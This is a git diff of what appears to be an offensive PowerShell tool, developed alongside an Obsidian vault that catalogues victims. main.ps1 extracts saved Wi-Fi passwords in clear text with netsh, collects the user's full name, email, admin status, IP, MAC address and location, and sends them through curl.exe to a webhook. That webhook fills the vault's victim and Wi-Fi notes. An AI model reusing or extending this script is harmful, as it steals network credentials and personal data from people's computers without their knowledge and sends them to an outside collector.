diff --git a/.obsidian/graph.json b/.obsidian/graph.json index 7fa28a0..243e66e 100644 --- a/.obsidian/graph.json +++ b/.obsidian/graph.json @@ -1,6 +1,6 @@ { "collapse-filter": false, - "search": "guest-wifi", + "search": "", "showTags": true, "showAttachments": false, "hideUnresolved": true, @@ -8,14 +8,14 @@ "collapse-color-groups": false, "colorGroups": [ { - "query": "line:(windows-user)", + "query": "#user", "color": { "a": 1, "rgb": 14701138 } }, { - "query": "line:(wifi-hotspot)", + "query": "#wifi", "color": { "a": 1, "rgb": 5431518 @@ -32,6 +32,6 @@ "repelStrength": 10, "linkStrength": 1, "linkDistance": 250, - "scale": 1.0000000000000009, + "scale": 1.5255568449083818, "close": false } \ No newline at end of file diff --git a/.obsidian/workspace b/.obsidian/workspace index 289d947..a2a746d 100644 --- a/.obsidian/workspace +++ b/.obsidian/workspace @@ -7,8 +7,24 @@ "id": "f6b4280685871104", "type": "leaf", "state": { - "type": "empty", - "state": {} + "type": "markdown", + "state": { + "file": "redro.md", + "mode": "source", + "source": false + } + } + }, + { + "id": "cae407141cab5a3a", + "type": "leaf", + "state": { + "type": "markdown", + "state": { + "file": "user1.md", + "mode": "source", + "source": false + } } } ], @@ -73,6 +89,7 @@ "state": { "type": "backlink", "state": { + "file": "redro.md", "collapseAll": false, "extraContext": false, "sortOrder": "alphabetical", @@ -89,6 +106,7 @@ "state": { "type": "outgoing-link", "state": { + "file": "redro.md", "linksCollapsed": false, "unlinkedCollapsed": true } @@ -110,7 +128,9 @@ "type": "leaf", "state": { "type": "outline", - "state": {} + "state": { + "file": "redro.md" + } } } ] @@ -122,15 +142,15 @@ }, "active": "f6b4280685871104", "lastOpenFiles": [ - "guest-wifi.md", "user1.md", "redro.md", - "ROADMAP.md", - "redro.md.md", + "guest-wifi.md", + "burgerking-wifi.md", "README.md", + "ROADMAP.md", "user2.md", "user3.md", - "burgerking-wifi.md", + "redro.md.md", "file.md" ] } \ No newline at end of file diff --git a/burgerking-wifi.md b/burgerking-wifi.md index 8d7db2a..913142f 100644 --- a/burgerking-wifi.md +++ b/burgerking-wifi.md @@ -3,4 +3,4 @@ - Password : pass123 - IP : X.X.X.X -wifi-hotspot \ No newline at end of file +#wifi \ No newline at end of file diff --git a/guest-wifi.md b/guest-wifi.md index d7228b7..d8086b1 100644 --- a/guest-wifi.md +++ b/guest-wifi.md @@ -2,4 +2,4 @@ ip : X.X.X.X passwords -wifi-hotspot +#wifi diff --git a/main.ps1 b/main.ps1 index 12a0867..0b2093c 100644 --- a/main.ps1 +++ b/main.ps1 @@ -25,19 +25,101 @@ function send_to_obsidian { curl.exe -d "$message" -H "Content-Type: text/plain" $webhook"?path=$file" } -# mark wireless information -function wireless_markdown { - # get wireless creds - $creds = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String +function Get-fullName { + + try { + + $fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name") + + } + + # If no name is detected function will return $env:UserName + + # Write Error is just for troubleshooting + catch {Write-Error "No name was detected" + return $env:UserName + -ErrorAction SilentlyContinue + } + + return $fullName +} + +function Get-email { + + try { + + $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim() + return $email + } + +# If no email is detected function will return backup message for sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "An email was not found" + return "No Email Detected" + -ErrorAction SilentlyContinue + } } # mark user information function user_markdown { - # - send_to_obsidian -message "# $account" -file $markdown + # general values + $full_name = Get-fullName + $email = Get-email + $is_admin = ($currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) + + # network values + # $public = curl.exe https://ident.me + $private = (get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}).ipaddress[0] + $MAC = ipconfig /all | Select-String -Pattern "physical" | select-object -First 1; $MAC = [string]$MAC; $MAC = $MAC.Substring($MAC.Length - 17) + # geolocation values + $geolocation = Get-GeoLocation + + # create markdown content + $content = @" +# $account + +## General +Full Name : $full_name +Email : $email + +## User Info +UserName : $username +UserProfile : $account +Admin : $is_admin + +## Wireless +Public : public +Private : $private +Mac : $MAC + +## Connected Networks +- [[guest-wifi]] +- [[burgerking-wifi]] + +## Nearby Networks +- #starbuck-wifi +- #mcdonalds-guest + +## Geolocation +
pirate bay
google maps insert
+ +## Tags +#user + +"@ + # send data + send_to_obsidian -message $content -file $markdown + +} + +# mark wireless information +function wireless_markdown { + # get wireless creds + $creds = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String } user_markdown \ No newline at end of file diff --git a/redro.md b/redro.md index d27c892..e69de29 100644 --- a/redro.md +++ b/redro.md @@ -1 +0,0 @@ -# redro diff --git a/user1.md b/user1.md index 4188e6b..370757b 100644 --- a/user1.md +++ b/user1.md @@ -25,4 +25,4 @@ Mac : XXX.XXX.XXX.XXX ## Geolocation
pirate bay
google maps insert
-windows-user \ No newline at end of file +#user \ No newline at end of file diff --git a/user2.md b/user2.md index 86e2a6a..bb820b3 100644 --- a/user2.md +++ b/user2.md @@ -2,7 +2,7 @@
pirate bay
google maps insert
-windows-user +#user #starbuck-wifi \ No newline at end of file diff --git a/user3.md b/user3.md index 26ecd29..29ead04 100644 --- a/user3.md +++ b/user3.md @@ -1,3 +1,3 @@ [[guest-wifi]] -windows-user +#user